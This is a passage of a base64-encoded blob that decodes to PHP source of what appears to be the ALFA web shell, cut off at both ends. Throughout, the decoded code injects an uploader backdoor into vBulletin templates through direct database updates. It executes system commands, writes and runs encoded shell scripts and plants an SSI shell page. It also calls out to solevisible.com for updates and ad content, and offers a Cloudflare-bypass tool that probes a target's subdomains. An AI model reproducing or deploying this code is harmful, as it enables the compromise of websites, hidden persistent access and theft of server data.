JkYnRlbXApIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7JHJlcyA9IHRydWU7fQpAZmNsb3NlKCRmc29jayk7fX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7CiRBbGZhQ3VybC0+U2VuZCgkcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiKTsKJHJlcyA9IHRydWU7Cn0KaWYoJHJlcyl7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9zb2xldmlzaWJsZS5waHAiOwpvdXRwdXQoJGZmKTsKfWVsc2V7CiRmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9jYWxlbmRhci5waHAiOwokZmZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7CmVjaG8gIjxicj48cHJlIGlkPSdzdHJPdXRwdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9J21sMSc+PGJyPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9JyNGRkZGRkYnPlBsZWFzZSBHbyBUbyBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZi4iPC9hPjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPkFuZCBHbyBUbyA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkgJiYgJF9QT1NUWydhbGZhMyddPT0gJ3ZiJyl7CkFsZmFOdW0oMSwyLDcsOSwxMCk7CmVjaG8gX19wcmUoKS4nPHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgdmJ1bGxldGluIHw8L2Rpdj48L3A+PHA+Jy5nZXRDb25maWdIdG1sKCd2YicpLic8L3A+PGZvcm0gbmFtZT0iZnJtIiBtZXRob2Q9IlBPU1QiIG9uc3VibWl0PSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsdGhpcy5sby52YWx1ZSxcJ3ZiXCcsdGhpcy51c2VyLnZhbHVlLHRoaXMucGFzcy52YWx1ZSx0aGlzLnRhYi52YWx1ZSx0aGlzLmRiLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdIb3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2xvJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGInLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVXNlciBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ3VzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnUGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAncGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4IDogJywgJ2lucHV0TmFtZScgPT4gJ3RhYicsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJHNlbGVjdG9yOwplY2hvICc8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkmJiFlbXB0eSgkX1BPU1RbJ2FsZmE0J10pKXsKJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTgnXTsKJGZhcV9uYW1lID0gImZhcSI7CiRmYXFfZmlsZSA9ICIvZmFxLnBocCI7CiRjb2RlID0gIntcJHsiLkFMRkFfVVBMT0FERVIuIn19e1wke2V4aXQoKX19JiI7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkX1BPU1RbJ2FsZmEyJ10sJF9QT1NUWydhbGZhNCddLCRfUE9TVFsnYWxmYTUnXSwkX1BPU1RbJ2FsZmE3J10pIG9yIGRpZShAbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7CiRyZWMgPSAic2VsZWN0IGB0ZW1wbGF0ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRyZWNpdmVkYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwkcmVjKTsKJGdldGQgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRyZWNpdmVkYXRhKTsKJHNhdmV0b2FzcyA9ICRnZXRkWyd0ZW1wbGF0ZSddOwppZihlbXB0eSgkc2F2ZXRvYXNzKSl7CgkkZmFxX25hbWUgPSAiaGVhZGVyIjsKCSRmYXFfZmlsZSA9ICIvIjsKCSRyZWMgPSAic2VsZWN0IGB0ZW1wbGF0ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CgkkcmVjaXZlZGF0YSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHJlYyk7CgkkZ2V0ZCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlY2l2ZWRhdGEpOwoJJHNhdmV0b2FzcyA9ICRnZXRkWyd0ZW1wbGF0ZSddOwoJJGNvZGUgPSBBTEZBX1VQTE9BREVSLiI7IjsKfQokY29kZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRjb2RlKTsKJHAgPSAiVVBEQVRFICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBTRVQgYHRlbXBsYXRlYD0nIi4kY29kZS4iJyBXSEVSRSBgdGl0bGVgPSciLiRmYXFfbmFtZS4iJyI7CiRrYT0gQG15c3FsaV9xdWVyeSgkY29ubiwkcCkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokZ2V0dXJsID0gQG15c3FsaV9xdWVyeSgkY29ubiwic2VsZWN0IGB2YWx1ZWAgZnJvbSAiLiRfUE9TVFsnYWxmYTYnXS4ic2V0dGluZyBXSEVSRSBgdmFybmFtZWA9J2JidXJsJyIpOwokZ2V0dmFsID0gQG15c3FsaV9mZXRjaF9hc3NvYygkZ2V0dXJsKTsKJHNhdmV2YWwgPSAkZ2V0dmFsWyd2YWx1ZSddOwppZigkZmFxX25hbWUgPT0gImhlYWRlciIpewoJaWYoc3Vic3RyKCRzYXZldmFsLCAtNSwgNSkgPT0gIi9jb3JlIil7CgkJJHNhdmV2YWwgPSBzdWJzdHIoJHNhdmV2YWwsIDAsIC01KTsKCX0KfQokcmVhbHVybCA9IHBhcnNlX3VybCgkc2F2ZXZhbCxQSFBfVVJMX0hPU1QpOwokcmVhbHBhdGggPSBwYXJzZV91cmwoJHNhdmV2YWwsUEhQX1VSTF9QQVRIKTsKJHJlcyA9IGZhbHNlOwokQWxmYUN1cmwgPSBuZXcgQWxmYUNVUkwoKTsKaWYoZXh0ZW5zaW9uX2xvYWRlZCgnc29ja2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewppZigkZnNvY2sgPSBAZnNvY2tvcGVuKCRyZWFsdXJsLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxMCkpewpAZnB1dHMoJGZzb2NrLCAiR0VUICRyZWFscGF0aC4kZmFxX2ZpbGUgSFRUUC8xLjFcclxuIik7CkBmcHV0cygkZnNvY2ssICJIT1NUOiAkcmVhbHVybFxyXG4iKTsKQGZwdXRzKCRmc29jaywgIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iKTsKJGNoZWNrID0gZmdldHMoJGZzb2NrKTsKaWYocHJlZ19tYXRjaCgiLzIwMCBPSy9pIiwkY2hlY2spKXsKJHAxID0gIlVQREFURSAiLiRfUE9TVFsnYWxmYTYnXS4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCRzYXZldG9hc3MpLiInIFdIRVJFIHRpdGxlID0nIi4kZmFxX25hbWUuIiciOwoka2ExPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRwMSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcmVzID0gdHJ1ZTsKfQpAZmNsb3NlKCRmc29jayk7Cn0KfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpICYmICRtZXRob2QgPT0gJ2F1dG8nKXsKJEFsZmFDdXJsLT5TZW5kKCRyZWFsdXJsLiRyZWFscGF0aC4kZmFxX2ZpbGUpOwokcDEgPSAiVVBEQVRFICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sJHNhdmV0b2FzcykuIicgV0hFUkUgdGl0bGUgPSciLiRmYXFfbmFtZS4iJyI7CiRrYTE9IEBteXNxbGlfcXVlcnkoJGNvbm4sJHAxKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyZXMgPSB0cnVlOwp9CmlmKCRyZXMpewokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiIvc29sZXZpc2libGUucGhwIjsKb3V0cHV0KCRmZik7Cn1lbHNlewokZmYgPSAnaHR0cDovLycuJHJlYWx1cmwuJHJlYWxwYXRoLiRmYXFfZmlsZTsKJGZmZiA9ICdodHRwOi8vJy4kcmVhbHVybC4kcmVhbHBhdGguIi9zb2xldmlzaWJsZS5waHAiOwplY2hvICI8Y2VudGVyPjxwPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkZpcnN0IE9wZW4gVGhpcyBMaW5rID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlNlY29uZCBPcGVuIFRoaXMgTGluayA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kZmZmLiInIHRhcmdldD0nX2JsYW5rJz4iLiRmZmYuIjwvYT48L2NlbnRlcj48L3A+Ijt9fX0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFjaGVja2ZpbGV0eXBlKCl7CgkkcGF0aCA9ICRfUE9TVFsncGF0aCddOwoJJGFyZyA9ICRfUE9TVFsnYXJnJ107CglpZihAaXNfZmlsZSgkcGF0aC4nLycuJGFyZykpewoJCWVjaG8oImZpbGUiKTsKCX1lbHNlewoJCWVjaG8oImRpciIpOwoJfQp9CmZ1bmN0aW9uIGFsZmFjaGVja3VwZGF0ZSgpewoJaWYoJEdMT0JBTFNbIkRCX05BTUUiXVsiY2dpX2FwaSJdKXsKCQlpZighaXNzZXQoJF9DT09LSUVbImFsZmFjZ2lhcGlfbW9kZSJdKSYmIWlzc2V0KCRfQ09PS0lFWyJhbGZhY2dpYXBpIl0pKXsKCQkJX2FsZmFfY2dpY21kKCJ3aG9hbWkiLCJwZXJsIix0cnVlKTsKCQkJaWYoc3RybGVuKGFsZmFFeCgid2hvYW1pIixmYWxzZSx0cnVlKSk+MCl7CgkJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYV9jYW5ydW5jbWQiLCAidHJ1ZSIpOwoJCQl9CgkJfQoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX3ZlcnNpb24iKSl7CgkJJHVwZGF0ZSA9IG5ldyBBbGZhQ1VSTCgpOwoJCSRqc29uID0gJHVwZGF0ZS0+U2VuZCgiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS91cGRhdGUuanNvbj92ZXI9Ii5fX0FMRkFfVkVSU0lPTl9fKTsKCQkkanNvbiA9IEBqc29uX2RlY29kZSgkanNvbix0cnVlKTsKCQkkZGF0YSA9IGFycmF5KCk7CgkJaWYoJGpzb24pewoJCQlpZighaXNzZXQoJF9DT09LSUVbJ2FsZmFfY2hlY2t1cGRhdGUnXSkgJiYgIWVtcHR5KCRqc29uWyJ0eXBlIl0pKXsKCQkJCWlmKCRqc29uWyJ0eXBlIl0gPT0gInVwZGF0ZSIpewoJCQkJCWlmKF9fQUxGQV9WRVJTSU9OX18gIT0gJGpzb25bJ3ZlcnNpb24nXSB8fCBfX0FMRkFfVVBEQVRFX18gIT0gJGpzb25bJ3ZlcnNpb25fbnVtYmVyJ10pewoJCQkJCQlAc2V0Y29va2llKCJhbGZhX2NoZWNrdXBkYXRlIiwgIjEiLCB0aW1lKCkrODY0MDApOwoJCQkJCQkkZGF0YVsiY29udGVudCJdID0gJzxkaXYgY2xhc3M9InVwZGF0ZS1ob2xkZXIiPicuJGpzb25bImNvbnRlbnQiXS4nPC9kaXY+JzsKCQkJCQl9CgkJCQl9CgkJCX0KCQkJaWYoaXNzZXQoJGpzb25bImFkcyJdKSAmJiAhZW1wdHkoJGpzb25bImFkcyJdKSl7CgkJCQkkZGF0YVsiY29udGVudCJdIC49ICRqc29uWyJhZHMiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsiY29weXJpZ2h0Il0pICYmICFlbXB0eSgkanNvblsiY29weXJpZ2h0Il0pKXsKCQkJCSRkYXRhWyJjb3B5cmlnaHQiXSA9ICRqc29uWyJjb3B5cmlnaHQiXTsKCQkJfQoJCQlpZihpc3NldCgkanNvblsic29sZXZpc2libGUiXSkgJiYgIWVtcHR5KCRqc29uWyJzb2xldmlzaWJsZSJdKSl7CgkJCQkkZGF0YVsic29sZXZpc2libGUiXSA9ICRqc29uWyJzb2xldmlzaWJsZSJdOwoJCQl9CgkJCWlmKGlzc2V0KCRqc29uWyJjb2RlX25hbWUiXSkgJiYgIWVtcHR5KCRqc29uWyJjb2RlX25hbWUiXSkpewoJCQkJJGRhdGFbImNvZGVfbmFtZSJdID0gJGpzb25bImNvZGVfbmFtZSJdOwoJCQkJJGRhdGFbInZlcnNpb25fbnVtYmVyIl0gPSBfX0FMRkFfVkVSU0lPTl9fOwoJCQl9CgkJCWlmKGlzc2V0KCRqc29uWyJtYXJrZXQiXSkgJiYgIWVtcHR5KCRqc29uWyJtYXJrZXQiXSkpewoJCQkJJGRhdGFbIm1hcmtldCJdID0gJGpzb25bIm1hcmtldCJdOwoJCQl9CgkJCWVjaG8gQGpzb25fZW5jb2RlKCRkYXRhKTsKCQl9Cgl9Cn0KZnVuY3Rpb24gYWxmYVdyaXRlVG9jZ2lhcGkoJG5hbWUsICRzb3VyY2UpewoJJHRlbXAgPSAiIjsKCSRub3RfYXBpID0gYXJyYXkoImJhc2VkaXIuYWxmYSIsICJnZXRkaXIuYWxmYSIsICJnZXRoZWFkZXIuYWxmYSIpOwoJaWYoaW5fYXJyYXkoJG5hbWUsICRub3RfYXBpKSl7CgkJJHRlbXAgPSBBTEZBX1RFTVBESVI7CgkJaWYoJHRlbXApewoJCQlAY2hkaXIoJHRlbXApOwoJCX0KCX1lbHNlewoJCWFsZmFDcmVhdGVQYXJlbnRGb2xkZXIoKTsKCQlAY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAiLyIgLiBfX0FMRkFfREFUQV9GT0xERVJfXyk7Cgl9CglAbWtkaXIoJ2FsZmFjZ2lhcGknLDA3NTUpOwoJX193cml0ZV9maWxlKCJhbGZhY2dpYXBpLyIuJG5hbWUsIF9fZ2V0X3Jlc291cmNlKCRzb3VyY2UpKTsKCUBjaG1vZCgiYWxmYWNnaWFwaS8iLiRuYW1lLCAwNzU1KTsKCXJldHVybiAkdGVtcDsKfQpmdW5jdGlvbiBhbGZhY2hlY2tjZ2koKXtpZihzdHJsZW4oYWxmYUV4KCJpZCIsZmFsc2UsdHJ1ZSx0cnVlKSk+MCllY2hvKCJvayIpO2Vsc2UgZWNobygibm8iKTt9CmZ1bmN0aW9uIGFsZmF1cGRhdGVoZWFkZXIoKXsKCWlmKCFpc3NldCgkX0NPT0tJRVsidXBkYXRlaGVhZGVyX2RhdGEiXSkpewoJCSRiYXNoID0gInpaUmRiOW93RklhdnlhODQ5ZElHSkxLMHZWeUZORlRvaEVSQmd0RmRRSVJNNGhBTDQwUjJVa1lwLzMxMmdQQVJxTHFiYVlueUlmczh4Kzg1citVdlYwNHFoVE9oM0pHaE1lZzNud2J0V25ucWVjRFVvejgrelBHTVFCekdFQlBCSUY0bVljUkJwSk1sSkZqQTlJM0dNTm0rTUF2d1BYQ0ZSUjVPQ01pVStwcXFHSTN1cjA2N1cyODBlLzFhZVRFbENRUWs4VUpnUy80YkdPVXpDVjZxMHVzWnRvanRPUlVpRWhXRGVHRUVOZ0ZyaFZKSmdwU2hiOE9SWnhsQkpJQUM1V0N1TnFxSDM5MzFBL2lSQWVwYWhOUUxhMlk1KzRKSkswWnBPSVFyc044QW1ka2dBdGVGbXh2WTVSOGhrNDVRMVZLNXE0WWZjWkt2akVicWRxc2pEKzNGSUQ5YWNCWmhuNGlpbm9OUy82Mm9sT001VVhxUVpaYXpmN0F4dkt1K0ptQjdkL2JkL1czRnlpRHJFSkpFVUg5THlRVHJXRURYS1F6aGVnQXVVdHB1MFJsdUtxSTBQZ05PTmZqakE5Q1A1cGh5cVVFOThkTHEvUnpVMitORzk3bmU2dlJyeUZIN3dubWxJa2t4Y3piQnF0bEVTR1IwNnMvTnh2aXgyM25haHVraS9hOWV4QU5rdk5UYnJYcS9tV2ZBakdKSnBLTm5ldU1NVlZPdldHd29OVTREVUFib2Jwb25LclFSRDVDRWhCdWxiWlQ0T0txMEs5QXM0OFVNckdhbnNZb0Y1UWwwZW1zTFR0RUs3UHFnTFlRU1lmdGxqaHB3WVEwbUMzSHZzUERBWnNlWmp4S2IrLzc5amZROVZjZ3R5UUdPSHJGaWVnVDdhZ3VjMkFOdVJnVFV5QVdSZ2lDOTlYTkR0bTRXeDdkZVhyTG9nTHZRdDRPWXN6MDdkdVA4aXNXVWVkQi83c09uWGJnczlLVDJ3NkN6eFcvMGZYNmJhSDM1Y2VHdTFTbnhCdz09IjsKCQkkcmVhbGRpciA9IGFkZHNsYXNoZXMoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKCQkkdG1wX3BhdGggPSBhbGZhV3JpdGVUb2NnaWFwaSgiZ2V0aGVhZGVyLmFsZmEiLCRiYXNoKTsKCQkkZGF0YSA9IGFsZmFFeCgiY2QgJ3skdG1wX3BhdGh9L2FsZmFjZ2lhcGknO3NoIGdldGhlYWRlci5hbGZhIixmYWxzZSx0cnVlLHRydWUpOwoJCWlmKEBpc19hcnJheShAanNvbl9kZWNvZGUoJGRhdGEsdHJ1ZSkpKXsKCQkJX19hbGZhX3NldF9jb29raWUoInVwZGF0ZWhlYWRlcl9kYXRhIiwgX19aVzVqYjJSbGNnKCRkYXRhKSk7CgkJCWVjaG8gJGRhdGE7CgkJfQoJfWVsc2V7CgkJZWNobyBfX1pHVmpiMlJsY2coJF9DT09LSUVbInVwZGF0ZWhlYWRlcl9kYXRhIl0pOwoJfQp9CmZ1bmN0aW9uIGFsZmFzc2lTaGVsbCgpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKQG1rZGlyKCdhbGZhX3NodG1sJywwNzU1KTsKQGNoZGlyKCdhbGZhX3NodG1sJyk7CmFsZmFjZ2lodGFjY2Vzcygnc2h0bWwnKTsKJGNvZGUgPSAnclZiOWI5czJFUDFYcmt5MjJNaHNLY3U2cHRiSDBBK3Z6WWJDWGV6dGw2WW9aSW1TMlZDa1FGSk92Q1gvKzQ2U3JDaE9uS1JCQThPUnlPUGp1M2VQUi92UEJvT2RXSXFVWlVDVnluVVdrRTlqcGFUNlRBYUQwTzlNYS9ZdlRYTVRrUG5LVU4zT3NoVG9SYUVDMGpzbHUrOW5zNDlmM2t3bWZ4NlBUd2tFY0VwT1NSOHVMOEZPbm96LytuczhuWDM1TUo2OW43ekYrV2MyNE4xNGhqRUUxbmlhR2xoR2lLY1huT0FUTDJsQXVJWUJqNjZES05mMDNoVmRKdGVyUklKczhRMitDL09QaytrVzZrekVMWFZuT0x6alEwM3NGSkhXNThsRFNYV3dOcE9DemF3V0p1ZWh2NkJSRXZxR0dVN0RWenlOWUVhakhLYlRZNWd1S09lK1UwLzVPbGFzTU1BamtaVlJobFMvUnN1b0hpUmhXb3JZTUNrZ2tjejBJSmNKaFQ3OHg5SWVqc1JsVG9VWnhsS2VNV3JGSU1ST0lsK294elFxdUJFMjFBVzNTTVREV0MrVnFtZnpBNGFScm9mLy9QWFNJYWNpTXdzUDl2Y1o5RGMzQzlaaG4zRE5aOWhIUEN3aVUxUUhzMFg1RTdnSDhFY2s0T0RsQ3hkY2QxUjk0TjJIR2ZHdWJrTzFJeGsxWTA3dDQrdlZjYkpPZDFqSjdyVlJYTWFSMVdTb0tKZFIwdXQ3VjYxTVJtWVpwejFnaVZWaU83S2RIMnF6NG5TWU1KUWtXaUdQM2plRm85eENDb3IyL0EzSUhFbWRFUmcxWTk2Vjc5UWxESDJuTnNKY0ppdVF3aklPeUxhTjltS1o1NUZJOXZyREZFTTA1a1pnbnNXU1MvVGdqbHY5RVlnNEUyZllBVkFXTkdYbkJiZFJvWit3WmVqSGlFbnhaWEVZK3FrVUJ0WWd6MS9HOGVFaENTL2hEbGZDcGUvWWFFc2JGenByRkF2YlBvZCsyV0RhWmhTUS9RT0NtY1djeGNpanFjQWVGY3M5eTc1U0xTQnhxYlJVbzBJeUMrSlZaRWFLSmg0SngyTEpsTFFhQUJPcGJBbmdKczY4d3dIVHdrSUVCSkZiMktZYUk2dDZBN3J6NjR0WHI5Lys3alZpRklyV1I3bFFkbXV4dEVmYnFVYnR0Rk9KVlgvZjB1NXhtV0svZTJTbWIrcnFBaDQ3MEhVVDJKSnJUY2htakxYT0JLSldFd1RPV1dJV0FUbHczUi9RR1ZJbEZHdUtsckRDVkkyM1lUR1A0ck5NeVZJa2cwYVcyanplelo1Ny8zMVFOY1ViRXQ5c2RZM0U4dzJIMVFXd2hVWEswRmk2VFhVZWpuNFVjMTE0M1c4RVVEbmsxQ3drSm9Lbnd1cXN5M25PakQwdDJMR3VqNGF0TEJORmFjQ3NDa3pWMEFzTXJ3dDAxRWpSQkpPd2dlL0cxN0R0elhCU0NnUjBMSUZiUHQ4by9XYUNKMVNYM0hReXUzbGdMTEZJMGFoemd1a3YxRTJPS2lTTlZmd1pRWlU4dDQvUFNYUDlYTkFZNGp3SmRyR2MxVDNrckhId2FxbDhBWDVyMTI5ektsNWlqM1RxcEtDcWFySWFVU0Jsbk9vSHoyVjFSVDdTcnQvSnBmWGRYOW0wUm55NldmOWg5THhLRkhyWWprd1pjZXhHTVM4VDJoOTFLdnlRZFF1cDcvRHUwZ0xmNjl3anQ5S3dDbnlTYTdmbE5VWDBCeExZdHJUU0w3WDBvSkVrMkVWTnJKajF5dW9uYU5mK1QzWjlJL1d0ZlRybXY5V3VIWHVsMm92Sy90ejZIdz09JzsKQF9fd3JpdGVfZmlsZSgnYWxmYV9zc2kuc2h0bWwnLF9fZ2V0X3Jlc291cmNlKCRjb2RlKSk7CkBjaG1vZCgiYWxmYV9zc2kuc2h0bWwiLDA3NTUpOwplY2hvIEFsZmFpRnJhbWVDcmVhdG9yKCdhbGZhX3NodG1sL2FsZmFfc3NpLnNodG1sJyk7CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhY2xvdWRmbGFyZSgpewphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0LDMpOwplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBDbG91ZCBGbGFyZSBCeVBhc3NlciB8PC9kaXY+PGJyPjxmb3JtIGFjdGlvbj0nJyBvbnN1Ym1pdD1cImcoJ2Nsb3VkZmxhcmUnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPgo8cD48ZGl2IGNsYXNzPSd0eHRmb250Jz5UYXJnZXQ6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPTMwIG5hbWU9J3VybCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgcGxhY2Vob2xkZXI9XCJ0YXJnZXQuY29tXCI+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nICcgLz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7CiR1cmwgPSAkX1BPU1RbJ2FsZmExJ107CmlmKCFwcmVnX21hdGNoKCcvXihodHRwcz8pOlwvXC8od3szfXx3MylcLi9pJywgJHVybCkpewokdXJsID0gcHJlZ19yZXBsYWNlKCcvXihodHRwcz8pOlwvXC8vJywgJycsICR1cmwpOwokdXJsID0gImh0dHA6Ly93d3cuIi4kdXJsOwp9CiRoZWFkZXJzID0gQGdldF9oZWFkZXJzKCR1cmwsIDEpOwokc2VydmVyID0gJGhlYWRlcnNbJ1NlcnZlciddOwokc3VicyA9IGFycmF5KCdvd2EuJywnMnR0eS4nLCdtLicsJ2d3LicsJ214MS4nLCdzdG9yZS4nLCcxJywnMicsJ3ZiLicsJ25ld3MuJywnZG93bmxvYWQuJywndmlkZW8nLCdjcGFuZWwuJywgJ2Z0cC4nLCAnc2VydmVyMS4nLCAnY2RuLicsICdjZG4yLicsICducy4nLCAnbnMzLicsICdtYWlsLicsICd3ZWJtYWlsLicsICdkaXJlY3QuJywgJ2RpcmVjdC1jb25uZWN0LicsICdyZWNvcmQuJywgJ3NzbC4nLCAnZG5zLicsICdoZWxwLicsICdibG9nLicsICdpcmMuJywgJ2ZvcnVtLicsICdkbC4nLCAnbXkuJywgJ2NwLicsICdwb3J0YWwuJywgJ2tiLicsICdzdXBwb3J0LicsJ3NlYXJjaC4nLCAnZG9jcy4nLCAnZmlsZXMuJywgJ2FjY291bnRzLicsICdzZWN1cmUuJywgJ3JlZ2lzdGVyLicsICdhcHBzLicsICdiZXRhLicsICdkZW1vLicsICdzbXRwLicsICduczIuJywgJ25zMS4nLCAnc2VydmVyLicsICdzaG9wLicsICdob3N0LicsICd3ZWIuJywgJ2Nsb3VkLicsICdhcGkuJywgJ2V4Y2hhbmdlLicsICdhcHAuJywgJ3Zwcy4nLCAnb3dhLicsICdzYXQuJywgJ2Jicy4nLCAnbW92aWUuJywgJ211c2ljLicsICdhcnQuJywgJ2Z1c2lvbi4nLCAnbWFwcy4nLCAnZm9ydW1zLicsICdhY2MuJywgJ2NjLicsICdkZXYuJywgJ3d3NDIuJywgJ3dpa2kuJywgJ2NsaWVudHMuJywgJ2NsaWVudC4nLCdib29rcy4nLCdhbnN3ZXJzLicsJ3NlcnZpY2UuJywnZ3JvdXBzLicsJ2ltYWdlcy4nLCd1cGxvYWQuJywndXAuJywndHViZS4nLCd1c2Vycy4nLCdhZG1pbi4nLCdhZG1pbmlzdHJhdG9yLicsJ3ByaXZhdGUuJywnZGVzaWduLicsJ3dobWNzLicsJ3dwLicsJ3dvcmRwcmVzcy4nLCdqb29tbGEuJywndmJ1bGxldGluLicsJ3Rlc3QuJywnZGV2ZWxvcGVyLicsJ3BhbmVsLicsJ2NvbnRhY3QuJyk7CmlmKHByZWdfbWF0Y2goJy9eKGh0dHBzPyk6XC9cLyh3ezN9fHczKVwuL2knLCAkdXJsLCAkbWF0Y2hlcykpewppZigkbWF0Y2hlc1syXSAhPSAnd3d3Jyl7JHVybCA9IHByZWdfcmVwbGFjZSgnL14oaHR0cHM/KTpcL1wvLycsICcnLCAkdXJsKTt9ZWxzZXsKJHVybCA9IG